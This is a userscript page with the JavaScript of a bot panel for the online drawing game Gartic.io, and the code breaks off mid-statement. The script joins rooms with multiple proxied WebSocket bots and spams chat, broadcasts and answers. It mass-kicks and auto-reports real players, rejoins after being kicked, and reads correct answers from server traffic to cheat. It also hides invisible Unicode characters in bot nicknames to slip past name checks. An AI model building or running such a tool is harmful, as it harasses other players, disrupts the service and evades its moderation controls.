您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
Gartic.io için Bot Paneli
// ==UserScript== // @name Msd // @name:tr SDk // @description Gartic.io için Bot Paneli // @description:tr Gartic.io için Bot Paneli (WS ile) // @version 1.3 // @author Msd // @license MIT // @match https://gartic.io/* // @grant GM_setValue // @grant GM_getValue // @grant GM_addValueChangeListener // @grant GM_addStyle // @grant window.focus // @grant window.close // @namespace https://gf.qytechs.cn/users/1220697 // @require https://cdn.jsdelivr.net/npm/sweetalert2@11 // ==/UserScript== (function() { 'use strict'; // SweetAlert2 CSS'yi ekle GM_addStyle(` @import url('https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css'); `); // Global Değişkenler let botc = 0, readyc = 0, otoeven = 0; let cmd = "", wss = [], tojoin = 0, usersinroom = [], customkickitems = [], messagejoinitems = [], tfr, tg, intervalbroadcast, intervalmsg, intervalanswer, intervalantiafk, rainbowdraw, rainbowdrawmode = false, botsidvalue = [], wordsInterval, botID, botlongID, theme, am, avatar = localStorage.getItem("avatar") || 1, botnick = localStorage.getItem("botnick") || "1", nick = localStorage.getItem("nick") || "Msd"; // ICEbot V5 HTML arayüzü const html = ` <div class="userlist"> <div class="userkickmenu"></div> <input type="submit" style="width:90px; background:red" onclick="window.postMessage('kickall','*')" value="KICK ALL"> <input type="checkbox" class="kickonjoin"> Kick on join<br> <input type="checkbox" class="kickallwhenjoin"> Kick when join<hr> </div> <div class="option"> <button class="hidemenu" onclick="window.postMessage('hidemenu','*')"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <circle cx="12" cy="12" r="10"></circle> <line x1="15" y1="9" x2="9" y2="15"></line> <line x1="9" y1="9" x2="15" y2="15"></line> </svg> </button> <button class="menu1" onclick="window.postMessage('menu1','*')"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07 19.5 19.5 0 0 1-6-6 19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 4.11 2h3a2 2 0 0 1 2 1.72 12.84 12.84 0 0 0 .7 2.81 2 2 0 0 1-.45 2.11L8.09 9.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45 12.84 12.84 0 0 0 2.81.7A2 2 0 0 1 22 16.92z"></path> </svg> </button> <button class="menu2" onclick="window.postMessage('menu2','*')"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"></path> <circle cx="12" cy="7" r="4"></circle> </svg> </button> <button class="menu3" onclick="window.postMessage('menu3','*')"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <path d="M12 20h9"></path> <path d="M16.5 3.5a2.121 2.121 0 0 1 3 3L7 19l-4 1 1-4L16.5 3.5z"></path> </svg> </button> <button class="menu4" onclick="window.postMessage('menu4','*')"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path> <circle cx="9" cy="7" r="4"></circle> <path d="M23 21v-2a4 4 0 0 0-3-3.87"></path> <path d="M16 3.13a4 4 0 0 1 0 7.75"></path> </svg> </button> <button class="menu5" onclick="window.postMessage('menu5','*')"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"></path> </svg> </button> <button class="menu6" onclick="window.postMessage('menu6','*')"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <circle cx="12" cy="12" r="3"></circle> <path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2z"></path> </svg> </button> </div> <div id="avatarlist" class="icebot"> <div class="avatarlist"></div> </div> <div id="icebotlog" style="display:block; top:0px; max-height:3000px !important; height:300px !important;"> <div class="icebotlog"></div> </div> <div id="icebot1" class="icebot"> <center> <input type="text" id="roomlink" placeholder="Room Link"><br> <input type="text" id="botnick" placeholder="Bot Nick"><br> <input type="text" id="avatar" placeholder="Avatar"><br> <input type="submit" onclick="window.postMessage('join','*')" value="Join"> </center> </div> <div id="icebot2" class="icebot"> <center> <input type="text" id="broadcast" placeholder="Broadcast"><br> <input type="submit" onclick="window.postMessage('broadcast','*')" value="Send"><br> <input type="text" id="message" placeholder="Message"><br> <input type="submit" onclick="window.postMessage('chat','*')" value="Send"><br> <input type="text" id="answer" placeholder="Answer"><br> <input type="submit" onclick="window.postMessage('answer','*')" value="Send"><br> <input type="submit" onclick="window.postMessage('report','*')" value="Report"><br> <input type="submit" onclick="window.postMessage('jump','*')" value="Jump"><br> <input type="submit" onclick="window.postMessage('reconnect','*')" value="Reconnect"><br> <input type="submit" onclick="window.postMessage('acceptdraw1','*')" value="Accept Draw 1"><br> <input type="submit" onclick="window.postMessage('acceptdraw2','*')" value="Accept Draw 2"><br> <input type="submit" onclick="window.postMessage('tips','*')" value="Tips"><br> <input type="submit" onclick="window.postMessage('exit','*')" value="Exit"><br> <input type="submit" onclick="window.postMessage('draw','*')" value="Draw"> </center> </div> <div id="icebot3" class="icebot"> <center> <input type="text" id="broadcastspam" placeholder="Broadcast Spam"><br> <input type="submit" id="broadcaststart" onclick="window.postMessage('broadcastspamtoggle','*')" value="Start"><br> <input type="submit" id="broadcaststop" style="display:none" onclick="window.postMessage('stopbroadcast','*')" value="Stop"><br> <input type="text" id="messagespam" placeholder="Message Spam"><br> <input type="submit" id="msgstart" onclick="window.postMessage('chatspamtoggle','*')" value="Start"><br> <input type="submit" id="msgstop" style="display:none" onclick="window.postMessage('stopmsg','*')" value="Stop"><br> <input type="text" id="answerspam" placeholder="Answer Spam"><br> <input type="submit" id="answerstart" onclick="window.postMessage('answerspamtoggle','*')" value="Start"><br> <input type="submit" id="answerstop" style="display:none" onclick="window.postMessage('stopanswer','*')" value="Stop"> </center> </div> <div id="icebot4" class="icebot"> <center> <input type="text" id="customkick" placeholder="Custom Kick"><br> <input type="submit" onclick="addCustomKick()" value="Add"><br> <div id="kicklist-items"></div> </center> </div> <div id="icebot5" class="icebot"> <center> <input type="text" id="messagejoin" placeholder="Join Message"><br> <input type="submit" onclick="addMessageJoin()" value="Add"><br> <div id="joinmessage-items"></div> </center> </div> <div id="icebot6" class="icebot"> <center> <input type="checkbox" id="autoreport"> Auto Report<br> <input type="checkbox" id="autoskip"> Auto Skip<br> <input type="checkbox" id="antikick"> Anti Kick<br> <input type="checkbox" id="autokick"> Auto Kick<br> <input type="checkbox" id="antiafk"> Anti AFK<br> <input type="checkbox" id="autofarm"> Auto Farm<br> <input type="checkbox" id="autoguess"> Auto Guess<br> <input type="color" id="color1" value="#ffffff"><br> <input type="color" id="color2" value="#ffffff"><br> <input type="color" id="color3" value="#ffffff"><br> <input type="color" id="color4" value="#ffffff"><br> <input type="submit" onclick="window.postMessage('theme','*')" value="Change Theme"><br> <input type="submit" id="autoguessenable" onclick="window.postMessage('autoguessenable','*')" value="Enable Auto Guess"><br> <input type="submit" id="autoguessdisable" style="display:none" onclick="window.postMessage('autoguessdisable','*')" value="Disable Auto Guess"> </center> </div> `; function setCSS() { GM_addStyle(` body { margin: 0; background: #1a1a1a; color: #fff; font-family: 'Arial', sans-serif; min-height: 100vh; overflow: auto; } .userlist { position: fixed; top: 10px; left: 10px; width: 200px; background: #2a2a2a; padding: 10px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.5); z-index: 9999; } .userkickmenu { max-height: 300px; overflow-y: auto; } .option { position: fixed; top: 10px; right: 10px; display: flex; flex-direction: column; gap: 5px; z-index: 9999; } .option button { background: #f5a623; border: none; padding: 10px; border-radius: 5px; cursor: pointer; transition: background 0.3s; } .option button:hover { background: #e69520; } .icebot { position: fixed; background: #2a2a2a; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.5); z-index: 9999; display: none; } #avatarlist { top: 100px; left: 230px; } #icebotlog { top: 100px; right: 10px; } #icebot1 { top: 420px; left: 230px; } #icebot2 { top: 420px; right: 10px; } #icebot3 { top: 720px; left: 230px; } #icebot4 { top: 720px; right: 10px; } #icebot5 { top: 1020px; left: 230px; } #icebot6 { top: 1020px; right: 10px; } .icebot input[type="text"], .icebot input[type="color"] { width: 100%; padding: 8px; margin: 5px 0; border: 1px solid #f5a623; border-radius: 5px; background: #3a3a3a; color: #fff; } .icebot input[type="submit"] { width: 100%; padding: 8px; margin: 5px 0; background: #f5a623; border: none; border-radius: 5px; color: #fff; cursor: pointer; transition: background 0.3s; } .icebot input[type="submit"]:hover { background: #e69520; } .icebot input[type="checkbox"] { margin: 5px; } .icebotlog { max-height: 280px; overflow-y: auto; color: #fff; } .avatarlist { display: flex; flex-wrap: wrap; gap: 10px; } .player-item { display: flex; align-items: center; padding: 8px 12px; margin-bottom: 8px; background: #3a3a3a; border-radius: 10px; border: 1px solid #f5a623; color: #fff; } .player-item:hover { background: #4a4a4a; } .kick-btn { background: #ff4444; border: none; padding: 5px 10px; border-radius: 5px; color: #fff; cursor: pointer; } .kick-btn:hover { background: #cc3333; } @media (max-width: 768px) { .userlist, .option, .icebot { width: 90%; left: 5%; right: 5%; top: auto; position: relative; margin: 10px auto; } } `); } function createHearts() { console.log('Creating hearts...'); const heartsContainer = document.getElementById('hearts'); if (!heartsContainer) { console.error('Hearts container not found!'); return; } for (let i = 0; i < 20; i++) { const heart = document.createElement('div'); heart.className = 'heart'; heart.style.left = Math.random() * 100 + 'vw'; heart.style.top = Math.random() * 100 + 'vh'; heart.style.animationDelay = Math.random() * 15 + 's'; heartsContainer.appendChild(heart); } } function setmenu(menu) { console.log('Switching to menu:', menu); const elements = ['icebot1', 'icebot2', 'icebot3', 'icebot4', 'icebot5', 'icebot6', 'avatarlist']; elements.forEach(element => { const el = document.getElementById(element); if (el) { el.style.display = element === menu ? 'block' : 'none'; } else { console.warn(`Element #${element} not found!`); } }); } function handleJoin() { console.log("handleJoin function triggered!"); try { const roomLinkInput = document.getElementById('roomlink'); if (!roomLinkInput) { throw new Error('Room link input not found!'); } let roomLink = roomLinkInput.value.trim(); if (!roomLink) { roomLink = window.location.href; roomLinkInput.value = roomLink; } const roomCode = roomLink.split("/")[3] || ''; if (!roomCode) { throw new Error('Invalid room link!'); } botc = 0; GM_setValue("resetcount", rand()); readyc = 0; let msgstorage = localStorage.getItem("messagejoin"); if (msgstorage) { try { let vm = JSON.parse(msgstorage); setTimeout(() => { vm.forEach(item => { GM_setValue("msg", item.msg + "►" + num(5000)); }); }, 4000); } catch (e) { console.error('Error parsing messagejoin:', e); } } const botNickInput = document.getElementById('botnick'); const kickOnJoin = document.querySelector('.kickonjoin'); GM_sendMessage("join", roomCode, botNickInput?.value || nick, avatar, localStorage.getItem("botnick") || "0", kickOnJoin?.checked || false, rand()); const statusLog = document.getElementById('icebotlog'); if (statusLog) { statusLog.innerText = `Durum: ${roomCode} odasına katılınıyor...`; } Swal.fire({ toast: true, position: 'top-end', icon: 'info', title: 'Odaya katılınıyor...', showConfirmButton: false, timer: 2000 }); } catch (error) { console.error('handleJoin error:', error); Swal.fire({ toast: true, position: 'top-end', icon: 'error', title: error.message || 'Katılma işlemi başarısız!', showConfirmButton: false, timer: 3000 }); } } let rand = () => Math.floor(Math.random() * 1000000), GM_onMessage = (label, cb) => GM_addValueChangeListener(label, (_, __, data) => cb(...data)), GM_sendMessage = (label, ...data) => GM_setValue(label, data); function f(ICE) { const element = document.querySelector(ICE); if (!element) { console.warn(`Element ${ICE} not found!`); } return element; } function fa(ICE) { return document.querySelectorAll(ICE); } function num(ICE) { return Math.ceil(Math.random() * ICE + 1); } function rc(ICE) { let e = f('input[name="chat"]'); let lv = e.value; e.value = ""; let ev = new Event('input', { bubbles: true }); ev.simulated = true; let t = e._valueTracker; if (t) { t.setValue(lv); } e.dispatchEvent(ev); } function rs(ICE) { let e = f(".search input"); let lv = e.value; e.value = ""; let ev = new Event('input', { bubbles: true }); ev.simulated = true; let t = e._valueTracker; if (t) { t.setValue(lv); } e.dispatchEvent(ev); } function rnext(kelime) { const hd = kelime.split(''); const hu = hd.length; const yh = []; const invisibleChars = ['\u200B', '\u200C', '\u200D', '\u2061', '\u2062', '\u2063', '\u2064', '\u2066', '\u17b4', '\u17b5', '\u2068', '\u2069']; let charCount = 0; for (let i = 0; i < hu; i++) { yh.push(hd[i]); charCount++; if (charCount < 18 && i < hu - 1) { const invisibleChar = invisibleChars[Math.floor(Math.random() * invisibleChars.length)]; yh.push(invisibleChar); charCount++; } if (charCount >= 18) { break; } } return yh.join(''); } function addCustomKick() { console.log('addCustomKick called'); const input = f('#customkick'); if (!input) { console.error('Custom kick input not found!'); return; } const user = input.value.trim(); if (!user) { Swal.fire({ toast: true, position: 'top-end', icon: 'warning', title: 'Lütfen bir oyuncu adı girin.', showConfirmButton: false, timer: 3000 }); return; } let list = []; try { const storedList = localStorage.getItem('customkick'); if (storedList) { list = JSON.parse(storedList); } } catch (e) { console.error('localStorage parse hatası:', e); Swal.fire({ toast: true, position: 'top-end', icon: 'error', title: 'Veri okuma hatası!', showConfirmButton: false, timer: 3000 }); return; } list.push({ user }); localStorage.setItem('customkick', JSON.stringify(list)); const container = f('#kicklist-items'); if (!container) { console.error('Kick list items container not found!'); return; } const item = document.createElement('div'); item.className = 'player-item'; item.innerHTML = ` <span class="player-name">${user}</span> <button class="kick-btn" id="customkickuser.${user}">Kaldır</button> `; container.appendChild(item); item.querySelector(`#customkickuser\\.${user}`).addEventListener('click', () => { window.postMessage(`customkickremove.${user}`, '*'); }); input.value = ''; Swal.fire({ toast: true, position: 'top-end', icon: 'success', title: `${user} eklendi!`, showConfirmButton: false, timer: 2000 }); addItem(customkickitems, user); } function addMessageJoin() { console.log('addMessageJoin called'); const input = f('#messagejoin'); if (!input) { console.error('Message join input not found!'); return; } const msg = input.value.trim(); if (!msg) { Swal.fire({ toast: true, position: 'top-end', icon: 'warning', title: 'Lütfen bir mesaj girin.', showConfirmButton: false, timer: 3000 }); return; } let list = []; try { const storedList = localStorage.getItem('messagejoin'); if (storedList) { list = JSON.parse(storedList); } } catch (e) { console.error('localStorage parse hatası:', e); Swal.fire({ toast: true, position: 'top-end', icon: 'error', title: 'Veri okuma hatası!', showConfirmButton: false, timer: 3000 }); return; } list.push({ msg }); localStorage.setItem('messagejoin', JSON.stringify(list)); const container = f('#joinmessage-items'); if (!container) { console.error('Join message items container not found!'); return; } const item = document.createElement('div'); item.className = 'player-item'; item.innerHTML = ` <span class="player-name">${msg}</span> <button class="kick-btn" id="msgjoin.${msg}">Kaldır</button> `; container.appendChild(item); item.querySelector(`#msgjoin\\.${msg}`).addEventListener('click', () => { window.postMessage(`messagejoinremove.${msg}`, '*'); }); input.value = ''; addItem(messagejoinitems, msg); Swal.fire({ toast: true, position: 'top-end', icon: 'success', title: 'Mesaj eklendi!', showConfirmButton: false, timer: 2000 }); } const addItem = (arr, ...args) => { for (let i = 0; i < args.length; i++) { arr[arr.length] = args[i]; } return arr; }; function arrayFilter(array) { return array.filter((value, index, arr) => arr.indexOf(value) === index); } function fnFILTER(arr) { let r = [], n = []; arr.forEach(obj => { const nick = obj.nick; if (!n.includes(nick)) { n.push(nick); r.push(obj); } }); return r; } document.addEventListener("click", function(event) { let target = event.target; if (target.classList.contains("avatar")) { let computedStyle = window.getComputedStyle(target); let backgroundImage = computedStyle.backgroundImage; if (backgroundImage.includes("url")) { let avatarUrl = backgroundImage.replace(/^url\(["']?/, '').replace(/["']?\)$/, ''); window.open(avatarUrl, "_blank"); } } }); if (window.location.href.indexOf("gartic.io") != -1) { let room, kicknewstat = false, kickjoinstat = false, autoreport = false, autoskip = false, antiafk = false, antikick = false, antikickDelay = 1, autokick = false, autoguess = 0, autofarm = false, waitforkick = 0; GM_setValue("botekle", rand()); GM_addValueChangeListener("resetcount", function(I, C, E, b) { GM_setValue("botekle", rand()); }); setTimeout(() => { waitforkick = 0; }, 1000); GM_onMessage("reconnect", (_, __) => { const storedArray = JSON.parse(localStorage.getItem('ws-reconnect-data')) || []; storedArray.forEach(obj => { let rws = new WebSocket("wss://" + obj.server + ".gartic.io/socket.io/?c=" + obj.code + "&EIO=3&transport=websocket"); rws.onopen = () => { rws.send('42[7,"' + obj.room + '",' + obj.timestamp + ']'); GM_onMessage("cmd", (cmd, x) => { switch (cmd) { case "broadcast": rws.send('42[11,' + obj.timestamp + ',"' + x + '"]'); rws.send('42[13,' + obj.timestamp + ',"' + x + '"]'); break; case "msg": rws.send('42[11,' + obj.timestamp + ',"' + x + '"]'); break; case "answer": rws.send('42[13,' + obj.timestamp + ',"' + x + '"]'); break; case "report": rws.send('42[35,' + obj.timestamp + ']'); break; case "jump": rws.send('42[25,' + obj.timestamp + ']'); break; case "accept1": rws.send('42[34,' + obj.timestamp + ']'); break; case "accept2": rws.send('42[34,' + obj.timestamp + ',1]'); break; case "tips": rws.send('42[30,' + obj.timestamp + ',1]'); break; case "exit": rws.send('42[24,' + obj.timestamp + ']'); break; case "kick": if (!botsidvalue.includes(x.split("..")[0])) { rws.send('42[45,' + obj.timestamp + ',["' + x.split("..")[0] + '",true]]'); } break; } }); }; }); }); GM_onMessage("join", (room, nick, avatar, botnick, kickonjoin, _) => { fetch("/logout").then(response => { console.log('Logout response:', response); return fetch("https://" + window.location.href.split("/")[2] + "/server?check=1&v3=1&room=" + room + "&__cpo=aHR0cHM6Ly9nYXJ0aWMuaW8#"); }).then(response => response.text()).then(x => { console.log('Server response:', x); let ws = new WebSocket("wss://" + window.location.href.split("/")[2] + "/__cpw.php?u=" + btoa("wss://" + x.split("https://")[1].split(".")[0] + ".gartic.io/socket.io/?c=" + x.split("?c=")[1] + "&EIO=3&transport=websocket") + "&o=aHR0cHM6Ly9nYXJ0aWMuaW8="); ws.onopen = () => { let inter = setInterval(() => { GM_setValue("ready", rand()); if (tojoin == 1) { tojoin = 0; if (botnick === '0') { ws.send('42[3,{"v":20000,"nick":"' + rnext(nick) + '","avatar":' + avatar + ',"platform":0,"sala":"' + room.substring(2) + '"}]'); } else if (botnick === '1') { ws.send('42[3,{"v":20000,"nick":"' + nick + Math.ceil(Math.random() * 10000 + 1) + '","avatar":' + avatar + ',"platform":0,"sala":"' + room.substring(2) + '"}]'); } clearInterval(inter); } }, 50); }; ws.onclose = () => { wss = wss.filter(w => w.ws !== ws); }; ws.onmessage = (msg) => { if (msg.data.indexOf('42["23"') != -1) { let user = JSON.parse("{" + msg.data.split("{")[1].split("}")[0] + "}"); usersinroom.push(user); if (kicknewstat) { typeof(user.id) == "string" ? ws.send('42[45,' + ws.id + ',["' + user.id + '",true]]') : ws.send('42[45,' + ws.id + ',[' + user.id + ',true]]'); } } if (msg.data.indexOf('42["5"') != -1) { let objlist = JSON.parse('["5"' + msg.data.split('42["5"')[1]); ws.theme = objlist[4].tema; ws.room = objlist[4].codigo; ws.id = objlist[2]; objlist[5].forEach(item => { usersinroom.push(item); }); let targetid = objlist[5][0].id; botID = objlist[2]; const storedArray = JSON.parse(localStorage.getItem('ws-reconnect-data')) || []; const newData = { code: x.split("?c=")[1], room: objlist[3], server: x.split("https://")[1].split(".")[0], timestamp: objlist[2] }; storedArray.push(newData); localStorage.setItem('ws-reconnect-data', JSON.stringify(storedArray)); botlongID = objlist[1]; theme = objlist[4].tema; setTimeout(() => { f(".roomtheme").innerHTML = theme; }, 10); setTimeout(() => { GM_sendMessage("botsidvalue", botlongID, rand()); }, 777); setTimeout(() => { GM_sendMessage("updatelist", botID, rand()); }, 777); setTimeout(() => { antikickDelay = 0; }, 2000); kickjoinstat ? typeof(targetid) == "string" ? ws.send('42[45,' + ws.id + ',["' + targetid + '",true]]') : ws.send('42[45,' + ws.id + ',[' + targetid + ',true]]') : 0; ws.send('42[46,' + objlist[2] + ']'); GM_onMessage('answerinput', (atılacak, _) => { f('#answer').value = atılacak; }); GM_onMessage("botsidvalue", (datachangex, _) => { botsidvalue.push(datachangex); }); GM_onMessage("updatelist", (datachangex, _) => { GM_sendMessage("updatebotidlist", botsidvalue, rand()); }); GM_onMessage("updatebotidlist", (datachangex, _) => { if (!botsidvalue.includes(datachangex)) { addItem(botsidvalue, ...datachangex); } botsidvalue = arrayFilter(botsidvalue); }); GM_addValueChangeListener("broadcast", function(I, C, E, b) { ws.send('42[11,' + objlist[2] + ',"' + E.split("►")[0] + '"]'); ws.send('42[13,' + objlist[2] + ',"' + E.split("►")[0] + '"]'); }); GM_addValueChangeListener("msg", function(I, C, E, b) { ws.send('42[11,' + objlist[2] + ',"' + E.split("►")[0] + '"]'); }); GM_addValueChangeListener("answer", function(I, C, E, b) { ws.send('42[13,' + objlist[2] + ',"' + E.split("►")[0] + '"]'); }); GM_addValueChangeListener("report", function(I, C, E, b) { ws.send('42[35,' + objlist[2] + ']'); }); GM_addValueChangeListener("jump", function(I, C, E, b) { ws.send('42[25,' + objlist[2] + ']'); }); GM_onMessage("draw", (_, __) => { function calcPixel(x, y, larguraImagem, alturaImagem) { const re = (y * larguraImagem + x) * 4; return { re: re, x: x, y: y }; } function pixelsend(inicioX, inicioY, larguraG, alturaG) { const larguraImagem = 767; const alturaImagem = 448; let re = 0; function enviarProximoPixel() { const x = inicioX + re % larguraG; const y = inicioY + Math.floor(re / larguraG); if (y < inicioY + alturaG) { const pixel = calcPixel(x, y, larguraImagem, alturaImagem); ws.send('42[10,' + ws.id + ',[2,' + pixel.x + ',' + pixel.y + ']]'); re++; setTimeout(enviarProximoPixel, 250); } } enviarProximoPixel(); } function pixels() { const larguraImagem = 767; const alturaImagem = 448; const larguraG = 10; const alturaG = 10; const intervaloEnvio = 50; let y = 0; let gVAL = setInterval(function() { pixelsend(0, y, larguraG, alturaG); y += alturaG; if (y >= alturaImagem) { clearInterval(gVAL); } }, intervaloEnvio); } async function pixelEx() { try { const items = await navigator.clipboard.read(); const item = items[items.length - 1]; if (item.types.includes("image/png") || item.types.includes("image/jpeg")) { const blob = await item.getType("image/png" || "image/jpeg"); await createImageBitmap(blob); } } catch (e) { console.log("Pano okuma hatası:", e); } } pixelEx(); }); GM_addValueChangeListener("acceptdraw1", function(I, C, E, b) { ws.send('42[34,' + objlist[2] + ']'); }); GM_addValueChangeListener("acceptdraw2", function(I, C, E, b) { ws.send('42[34,' + objlist[2] + ',1]'); }); GM_addValueChangeListener("tips", function(I, C, E, b) { ws.send('42[30,' + objlist[2] + ',1]'); }); GM_addValueChangeListener("exit", function(I, C, E, b) { ws.send('42[24,' + objlist[2] + ']'); wss.length = 0; usersinroom.length = 0; }); GM_addValueChangeListener("kick", function(I, C, E, b) { if (!botsidvalue.includes(E.split("..")[0])) { ws.send('42[45,' + objlist[2] + ',["' + E.split("..")[0] + '",true]]'); } }); JSON.stringify(wss).indexOf(objlist[2]) == -1 ? wss.push({ "ws": ws, "id": objlist[2], "lengthID": objlist[1] }) : 0; let interval = setInterval(() => { ws.readyState == 1 ? ws.send('2') : clearInterval(interval); }, 20000); } if (antiafk === true) { intervalantiafk = setInterval(() => { ws.send('42[42,' + ws.id + ']'); }, 20000); } else if (antiafk === false) { clearInterval(intervalantiafk); intervalantiafk = null; } if (msg.data.indexOf('42["47"]') != -1 && autoguess == 1) { let inter = parseInt(localStorage.getItem("autoguess")) || 1000; function wordsArray(arr) { let index = 0; if (wordsInterval) { clearInterval(wordsInterval); } wordsInterval = setInterval(() => { if (index < arr.length) { ws.send('42[13,' + ws.id + ',"' + arr[index] + '"]'); index++; } else { clearInterval(wordsInterval); } }, inter); } // Kelime listesi gerekirse buraya eklenebilir } if (msg.data.indexOf('42["16"') != -1 && autoskip === true) { setTimeout(() => { ws.send('42[25,' + ws.id + ']'); }, 1000); } if (msg.data.indexOf('42["47"]') != -1 && autoreport === true) { ws.send('42[35,' + ws.id + ']'); } if (msg.data.indexOf('42["34"') != -1) { let objlist = JSON.parse('["34"' + msg.data.split('42["34"')[1]); var cdd = objlist[1]; GM_sendMessage('answerinput', cdd, rand()); if (autofarm === true) { setTimeout(() => { GM_setValue("answer", cdd + "►" + num(5000)); }, 200); } } if (msg.data.indexOf('42["26"') != -1 && autoguess == 1) { let objlist = JSON.parse('["26"' + msg.data.split('42["26"')[1]); let correct = objlist[1]; GM_setValue("answer", correct + "►" + num(5000)); } if (msg.data.indexOf('42["16"') != -1 && autofarm === true) { ws.send('42[34,' + ws.id + ']'); } if (msg.data.indexOf('42["45"') != -1 && (msg.data.indexOf('"' + botlongID + '",1') != -1 || msg.data.indexOf('' + botlongID + ',1') != -1) && antikickDelay === 0 && antikick === true) { ws.send('42[24,' + ws.id + ']'); antikickDelay = 1; window.postMessage('rejoin', '*'); } if (msg.data.indexOf('42["45"') != -1 && (msg.data.indexOf('"' + botlongID + '",1') != -1 || msg.data.indexOf('' + botlongID + ',1') != -1) && autokick === true) { let msgautokick = msg.data.split(','); let autokickid = msgautokick[1].replace(/"/g, ''); GM_setValue("kick", autokickid + ".." + num(10000)); } }; }).catch(error => { console.error('Fetch error:', error); Swal.fire({ toast: true, position: 'top-end', icon: 'error', title: 'Sunucu bağlantı hatası!', showConfirmButton: false, timer: 3000 }); }); GM_addValueChangeListener("join", function(I, C, E, b) { tojoin = 1; }); GM_addValueChangeListener("kicknewset", function(I, C, E, b) { kicknewstat = E; }); GM_addValueChangeListener("kickjoinset", function(I, C, E, b) { kickjoinstat = E; }); GM_addValueChangeListener("autoreport", function(I, C, E, b) { autoreport = E; }); GM_addValueChangeListener("autoskip", function(I, C, E, b) { autoskip = E; }); GM_addValueChangeListener("antikick", function(I, C, E, b) { antikick = E; }); GM_addValueChangeListener("autokick", function(I, C, E, b) { autokick = E; }); GM_addValueChangeListener("antiafk", function(I, C, E, b) { antiafk = E; }); GM_addValueChangeListener("autoguess", function(I, C, E, b) { autoguess = E; }); GM_addValueChangeListener("autofarm", function(I, C, E, b) { autofarm = E; }); window.addEventListener("beforeunload", () => { GM_setValue("botçıkar", window.location.href.split("/")[2] + "--" + rand()); }); }); GM_onMessage("rejoin", (_, __) => { handleJoin(); }); function initializePanel() { if (!f(".userlist")) { console.log('Injecting panel HTML...'); document.body.insertAdjacentHTML('beforeend', html); setCSS(); // Menü butonları için olay dinleyicileri const menus = { 'menu1': 'icebot1', 'menu2': 'icebot2', 'menu3': 'icebot3', 'menu4': 'icebot4', 'menu5': 'icebot5', 'menu6': 'icebot6' }; Object.keys(menus).forEach(menu => { const btn = f(`.menu${menu.slice(-1)}`); if (btn) { btn.addEventListener('click', () => setmenu(menus[menu])); } }); // Katıl butonuna olay dinleyicisi const joinButton = f('#icebot1 input[type="submit"]'); if (joinButton) { joinButton.addEventListener('click', () => { console.log('Join button clicked!'); handleJoin(); }); } } } setInterval(() => { if (f("#users")) { fa(".kickmenubtn").forEach(ele => { f(".scrollElements").innerText.indexOf(ele.value) == -1 ? ele.remove() : 0; }); f("g") ? f("g").remove() : 0; } if (f("input[name=chat]")) { f(".contentPopup") && f(".btYellowBig.ic-yes") ? f(".btYellowBig.ic-yes").click() : 0; if (f(".contentPopup .nick") && f(".ic-votekick") && otoeven == 0) { otoeven = 1; f(".close").addEventListener("click", () => { otoeven = 0; }); f(".ic-ignore").addEventListener("click", () => { otoeven = 0; }); f(".ic-votekick").addEventListener("click", () => { otoeven = 0; GM_setValue("kick", 